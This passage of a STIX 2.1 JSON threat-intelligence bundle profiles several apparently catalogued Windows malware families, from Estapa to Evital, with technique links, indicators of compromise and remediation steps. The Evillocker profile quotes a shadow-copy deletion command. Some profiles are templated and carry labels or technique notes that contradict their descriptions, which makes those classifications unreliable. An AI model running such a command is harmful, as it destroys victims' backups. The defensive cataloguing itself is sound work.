traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Estapa reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Estapa",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/estapa"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d627392e-fe76-5504-b3d0-73f309126887",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--94d629c9-58d1-51f2-b6ba-43f8fdc9c998",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Estapa exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1bcb3347-139b-5bdc-a249-56be029bdcbb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--94d629c9-58d1-51f2-b6ba-43f8fdc9c998",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Estapa exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6643f8d9-9137-5b04-bc52-1c9f78b069f5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--94d629c9-58d1-51f2-b6ba-43f8fdc9c998",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Estapa exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0b7dde6b-6557-54a6-b47e-852a19f0a4ba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--94d629c9-58d1-51f2-b6ba-43f8fdc9c998",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Estapa exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b20b038c-5687-589a-a87b-da44e62c253b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--94d629c9-58d1-51f2-b6ba-43f8fdc9c998",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Estapa exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ab271940-691c-57b1-bce5-c707526c3f6a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Estrella",
      "description": "<h3>Executive Summary</h3>\nEstrella is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nEstrella is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Estrella operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Estrella ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Estrella receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nAn Estrella infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Estrella executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Estrella frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Estrella",
        "Downloader.Estrella",
        "Win32/Estrella"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Estrella",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/estrella"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f3ec39a0-013b-5a80-8826-f8ea3db1a7d3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ab271940-691c-57b1-bce5-c707526c3f6a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Estrella exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c6f0bb00-da91-5ec6-b853-ad5ec1719f78",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ab271940-691c-57b1-bce5-c707526c3f6a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Estrella exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b151578f-71b8-5efd-a971-8dd6a71922c1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ab271940-691c-57b1-bce5-c707526c3f6a",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Estrella exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--572375b1-f114-5539-ba34-b279b72718ce",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Eszjuxuan",
      "description": "Trojan:Win32/Eszjuxuan is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Eszjuxuan</b><br>To an end-user, a Eszjuxuan infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Eszjuxuan is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Eszjuxuan is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Eszjuxuan frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Eszjuxuan reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Eszjuxuan",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/eszjuxuan"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0ca4afa4-dee2-5730-b343-2ec53d691d34",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--572375b1-f114-5539-ba34-b279b72718ce",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eszjuxuan exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8c2f3a21-37de-5f47-8b20-3797e2fa8adb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--572375b1-f114-5539-ba34-b279b72718ce",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eszjuxuan exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e0b93b31-d3dd-58d0-98c1-f916f9b21507",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--572375b1-f114-5539-ba34-b279b72718ce",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eszjuxuan exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--83641078-efdf-5cfa-be73-00d68bf5d448",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--572375b1-f114-5539-ba34-b279b72718ce",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eszjuxuan exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4fdce6c4-4bb4-5c22-a349-82deff4435ff",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--572375b1-f114-5539-ba34-b279b72718ce",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eszjuxuan exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f0142e58-dba2-5977-994b-79456177a7c9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Etap",
      "description": "Trojan:Win32/Etap is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Etap</b><br>To an end-user, a Etap infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Etap is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Etap is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Etap frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Etap reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Etap",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/etap"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ad9a3348-9d61-5de0-8963-c93ee85e3868",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f0142e58-dba2-5977-994b-79456177a7c9",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Etap exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--20b38feb-dec4-56f1-83fa-d5209a3bddc3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f0142e58-dba2-5977-994b-79456177a7c9",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Etap exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fa3e9cce-d911-5f7e-80bb-6ba3e3454f1a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f0142e58-dba2-5977-994b-79456177a7c9",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Etap exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5e0544db-4cc6-5e3c-81da-2779a38cae24",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f0142e58-dba2-5977-994b-79456177a7c9",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Etap exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b72a6d85-6772-53c6-9f2c-6a1c89c1f77e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f0142e58-dba2-5977-994b-79456177a7c9",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Etap exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--be0781e1-59b5-5261-9ced-8dc26c017fda",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Eventmonitor",
      "description": "<h3>Executive Summary</h3>\nEventMonitor represents a class of software that falls into the \"Riskware\" or \"HackTool\" category. While occasionally functioning as legitimate system administration utilities designed to monitor system events, these tools are frequently weaponized by threat actors or insider threats to operate as highly evasive spyware. Their primary malicious use is the silent logging of user activity, network traffic, and system changes for reconnaissance and data exfiltration.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nBecause EventMonitor tools are often dual-use (having legitimate administrative purposes), they are not typically blocked by standard perimeter defenses. They are usually installed by a user with administrative privileges, either a compromised insider or a remote attacker who has already escalated privileges.\n\nOnce active, an abusive EventMonitor deployment focuses on stealthy surveillance:\n<ul>\n<li><strong>Deep System Hooking:</strong> The tool utilizes legitimate Windows APIs (like Event Tracing for Windows - ETW) to deeply hook into the operating system. It can log process creations, file modifications, registry edits, and network connections in real-time.</li>\n<li><strong>Evasion (Living off the Land):</strong> Because it relies on built-in OS monitoring frameworks, its activity blends in with normal administrative traffic. It avoids using recognizable malware signatures, making it difficult for standard antivirus to flag it as malicious.</li>\n<li><strong>Data Aggregation:</strong> The collected logs are often stored in hidden directories or obfuscated formats, waiting to be compressed and exfiltrated by a secondary script or manual attacker intervention.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe unauthorized presence of an EventMonitor tool is a severe indicator of internal compromise. It signifies that an attacker (or rogue insider) has achieved administrative access and is actively conducting deep reconnaissance to map the network, identify critical data silos, or monitor security teams' response efforts.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Contextual Verification:</strong> Immediately verify with IT Operations if the specific EventMonitor tool is authorized for use on the endpoint. Check deployment logs and configuration management tools.</li>\n<li><strong>Forensic Investigation:</strong> If unauthorized, isolate the machine. Security analysts must review the tool's configuration to determine *what* was being monitored (e.g., were passwords or sensitive databases targeted?) and where the logs were being sent.</li>\n<li><strong>Revoke Access and Re-image:</strong> Because deployment requires administrative privileges, all associated administrative credentials must be considered compromised and reset. The endpoint should undergo a bare-metal wipe to ensure no hidden persistence mechanisms remain.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Riskware.EventMonitor",
        "HackTool.Monitor",
        "Spyware.EventLogger"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Eventmonitor",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/eventmonitor"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--db97a3e3-2fac-56e0-a973-b0290b3a7dc4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--be0781e1-59b5-5261-9ced-8dc26c017fda",
      "target_ref": "attack-pattern--dfcfa682-f757-5727-b61f-982c98fe4440",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eventmonitor exhibits technique T1056 (Input Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ce056516-999d-5ea7-8e12-49226bf26cef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--be0781e1-59b5-5261-9ced-8dc26c017fda",
      "target_ref": "attack-pattern--30e9046a-dc48-58d0-a60d-f1836784f5a7",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eventmonitor exhibits technique T1005 (Data from Local System (Scraping RAM for Track 1/Track 2 data))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5b32e2fb-3b6a-5e09-94bd-af840161704c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--be0781e1-59b5-5261-9ced-8dc26c017fda",
      "target_ref": "attack-pattern--98e185c4-a84d-5a1b-a879-c69780574fe0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eventmonitor exhibits technique T1114 (Email Collection (Harvesting addresses for spamming))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1e9e4cf4-b6e9-55d7-81bb-341c72bc504a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Evillocker",
      "description": "<h3>Executive Summary</h3>\nEvilLocker is a highly destructive Ransomware family designed to extort financial payment from victims by encrypting their critical data. It is known for its rapid deployment and aggressive encryption routines, prioritizing the immediate and widespread encryption of local and network-mapped drives to cause maximum operational disruption before security teams can respond.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nEvilLocker is typically distributed via weaponized email attachments (spear-phishing) or deployed by threat actors who have purchased RDP credentials from Initial Access Brokers (IABs) and manually executed the payload within the compromised network.\n\nUpon execution, EvilLocker initiates a standard but devastating attack sequence:\n<ul>\n<li><strong>Volume Shadow Copy Deletion:</strong> Before encryption begins, the ransomware executes commands (e.g., `vssadmin.exe Delete Shadows /All /Quiet`) to destroy local system backups and recovery points, ensuring the victim cannot easily restore their files using Windows features.</li>\n<li><strong>Strong Cryptography:</strong> It utilizes strong encryption algorithms (often a combination of AES for file encryption and RSA for key encryption) to encrypt documents, databases, images, and archives. The encrypted files are usually appended with a specific, unique extension (often `.evil` or a randomized string).</li>\n<li><strong>Ransom Note Generation:</strong> A text or HTML file is dropped in every directory containing encrypted files. This note provides instructions on how to purchase cryptocurrency (usually Bitcoin) and contact the attackers to obtain the decryption key.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nAn EvilLocker infection is a critical security incident resulting in immediate and often catastrophic loss of data availability. The destruction of local backups means that without secure, offline backups, organizations face a stark choice between massive data loss or paying a criminal extortion demand.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Network Severance:</strong> The infected endpoint must be immediately disconnected from the corporate network, Wi-Fi, and any VPNs to prevent the ransomware from propagating to mapped network drives and cloud storage sync folders.</li>\n<li><strong>Preserve Memory (Do Not Reboot):</strong> If possible, capture a forensic image of the system's RAM before powering it down, as the decryption key might temporarily reside in volatile memory.</li>\n<li><strong>Eradication and Restoration:</strong> Paying the ransom is strongly discouraged. The only reliable remediation strategy is a complete bare-metal wipe of the infected systems and a full restoration from secure, air-gapped backups.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom.EvilLocker",
        "Win32/Filecoder.Evil",
        "Trojan-Ransom.Win32.EvilLocker"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Evillocker",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/evillocker"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--deba9126-587f-5b86-b442-2b4189fdb197",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1e9e4cf4-b6e9-55d7-81bb-341c72bc504a",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Evillocker exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9ccd9d60-662f-50a6-86ff-cee10484b2c9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1e9e4cf4-b6e9-55d7-81bb-341c72bc504a",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Evillocker exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8bde4f4e-fe16-52b2-8631-16d383391211",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1e9e4cf4-b6e9-55d7-81bb-341c72bc504a",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Evillocker exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--50240495-3a8c-5665-a49a-d7bbcf922c34",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1e9e4cf4-b6e9-55d7-81bb-341c72bc504a",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Evillocker exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--baa80f3f-6593-50b7-b1c8-6f6131d6cdf6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Evital",
      "description": "Evital (cataloged across security vendors and threat intelligence databases under signatures including Trojan:Win32/Evital, Trojan.Win32.Evital, and Win32/Evital) is a stealthy Windows trojan and initial access dropper active since 2017. Designed to bypass perimeter security controls, Evital is distributed via weaponized email attachments, cracked application downloads, and drive-by download portals. Upon execution, the malware profiles the host environment to detect analysis sandboxes, establishes persistence via Windows Registry Run keys, and drops randomized executable stagers into user temporary directories. Evital establishes encrypted C2 beacons, providing remote operators with capabilities to deploy secondary malware payloads such as ransomware and banking trojans. (Observed samples in benchmark: 40)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Evital",
        "Trojan.Win32.Evital",
        "Win32/Evital",
        "Trojan:Win32/Evital!rfn",
        "Evital Stager"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Evital",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/evital"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c993e22c-57da-59e0-8527-339a0af81eae",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Evrial",
